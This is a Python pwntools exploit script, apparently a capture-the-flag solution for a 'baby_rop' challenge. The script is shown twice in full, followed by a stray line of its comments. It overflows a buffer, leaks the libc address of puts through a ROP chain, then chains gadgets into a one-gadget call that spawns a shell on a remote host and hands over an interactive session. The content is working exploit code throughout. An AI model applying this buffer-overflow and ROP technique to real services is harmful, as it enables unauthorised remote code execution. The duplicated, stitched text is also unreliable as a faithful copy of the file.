<filename>UNR21-bootcamp/baby-rop/baby_rop-with-one-gadget/exploit_remote.py
from pwn import *

env = {"LD_PRELOAD": "./libc6_2.31-0ubuntu9_amd64.so"}
#io = process("./pwn_baby_rop", env=env)
io = remote("172.16.17.32", 31042)

io.recvuntil("black magic.\n")

#gdb.attach(io)


# 1st stage
main = 0x40145C
puts = 0x401030
puts_got = 0x404018
pop_rdi = 0x00401663

payload = b""
payload += b"A" * 264
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts)
payload += p64(main)

io.sendline(payload)

puts_addr = io.recvline()[:-1].ljust(8, b"\x00")
puts_addr = u64(puts_addr)
log.info('puts address: ' + hex(puts_addr))
puts_offset = 0x0875a0
libc_base = puts_addr - puts_offset
log.info('LIBC base address: ' + hex(libc_base))


# 2nd stage
pop_rsi_r15 = 0x00401661
pop_rdx_r12 = libc_base + 0x0011c1e1
sys_gadget = libc_base + 0xe6ce9
log.info('gadget address: ' + hex(sys_gadget))

new_rbp_value = 0x00404500

payload = b""
payload += b"A" * 256
payload += p64(new_rbp_value)
payload += p64(pop_rsi_r15)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(pop_rdx_r12)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(sys_gadget)

io.sendline(payload)
io.interactive()

<filename>UNR21-bootcamp/baby-rop/baby_rop-with-one-gadget/exploit_remote.py
from pwn import *

env = {"LD_PRELOAD": "./libc6_2.31-0ubuntu9_amd64.so"}
#io = process("./pwn_baby_rop", env=env)
io = remote("172.16.17.32", 31042)

io.recvuntil("black magic.\n")

#gdb.attach(io)


# 1st stage
main = 0x40145C
puts = 0x401030
puts_got = 0x404018
pop_rdi = 0x00401663

payload = b""
payload += b"A" * 264
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts)
payload += p64(main)

io.sendline(payload)

puts_addr = io.recvline()[:-1].ljust(8, b"\x00")
puts_addr = u64(puts_addr)
log.info('puts address: ' + hex(puts_addr))
puts_offset = 0x0875a0
libc_base = puts_addr - puts_offset
log.info('LIBC base address: ' + hex(libc_base))


# 2nd stage
pop_rsi_r15 = 0x00401661
pop_rdx_r12 = libc_base + 0x0011c1e1
sys_gadget = libc_base + 0xe6ce9
log.info('gadget address: ' + hex(sys_gadget))

new_rbp_value = 0x00404500

payload = b""
payload += b"A" * 256
payload += p64(new_rbp_value)
payload += p64(pop_rsi_r15)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(pop_rdx_r12)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(sys_gadget)

io.sendline(payload)
io.interactive()

#io = process("./pwn_baby_rop", env=env) #gdb.attach(io) # 1st stage # 2nd stage